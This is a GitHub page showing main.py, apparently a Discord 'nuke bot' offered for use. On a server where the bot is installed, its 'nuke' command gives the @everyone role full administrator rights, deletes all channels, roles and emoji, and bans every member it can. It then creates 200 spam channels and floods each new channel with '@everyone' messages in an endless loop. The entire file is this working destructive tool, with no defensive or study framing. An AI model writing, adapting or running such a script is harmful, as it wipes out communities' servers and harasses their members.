-
Notifications
You must be signed in to change notification settings - Fork 46
/
main.py
120 lines (99 loc) · 4.21 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
import os
os.system('pip install discord')
os.system('pip install colorama')
import discord
from discord.ext import commands
import random
from discord import Permissions
from colorama import Fore, Style
import asyncio
#Bot Token
token = input(f"Enter Your Bot Token: ")
#Enter Prefix For Your Bot
prefix = input(f"Enter Prefix For Your Bot: ")
#enter Your User id like - Example#6969
owner = input(f"Enter Your Username With Tag: ")
SPAM_CHANNEL = "Nuke Test"
SPAM_MESSAGE = "@everyone Nuked ","@everyone Cry About it","@everyone Beamed @everyone ","@everyone Nuked "
client = commands.Bot(command_prefix=prefix)
print('''
███╗░░██╗██╗░░░██╗██╗░░██╗███████╗
████╗░██║██║░░░██║██║░██╔╝██╔════╝
██╔██╗██║██║░░░██║█████═╝░█████╗░░
██║╚████║██║░░░██║██╔═██╗░██╔══╝░░
██║░╚███║╚██████╔╝██║░╚██╗███████╗
╚═╝░░╚══╝░╚═════╝░╚═╝░░╚═╝╚══════╝
██████╗░░█████╗░████████╗
██╔══██╗██╔══██╗╚══██╔══╝
██████╦╝██║░░██║░░░██║░░░
██╔══██╗██║░░██║░░░██║░░░
██████╦╝╚█████╔╝░░░██║░░░
╚═════╝░░╚════╝░░░░╚═╝░░░
Made By TheAxe
''' +
prefix + '''nuke for destroy!
''')
@client.event
async def on_ready():
await client.change_presence(activity=discord.Game(name="Axe Are On Top"))
print("Logged in as " + client.user.name)
@client.command()
async def stop(ctx):
await ctx.reply('> **Log Out | Shut down successfully**')
await client.close()
@client.command()
async def nuke(ctx):
await ctx.message.delete()
guild = ctx.guild
try:
role = discord.utils.get(guild.roles, name = "everyone")
await role.edit(permissions = Permissions.all())
print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET)
except:
print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET)
for member in guild.members:
try:
await member.ban()
print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET)
except:
print(Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET)
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET)
for emoji in list(ctx.guild.emojis):
try:
await emoji.delete()
print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET)
banned_users = await guild.bans()
for ban_entry in banned_users:
user = ban_entry.user
try:
await user.unban(owner)
print(Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET)
except:
print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET)
await guild.create_text_channel(SPAM_CHANNEL)
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 100)
print(f"New Invite: {link}")
amount = 200
for i in range(amount):
await guild.create_text_channel(SPAM_CHANNEL)
print(f"nuked {guild.name} Successfully.")
return
@client.event
async def on_guild_channel_create(channel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
client.run(token, bot=True)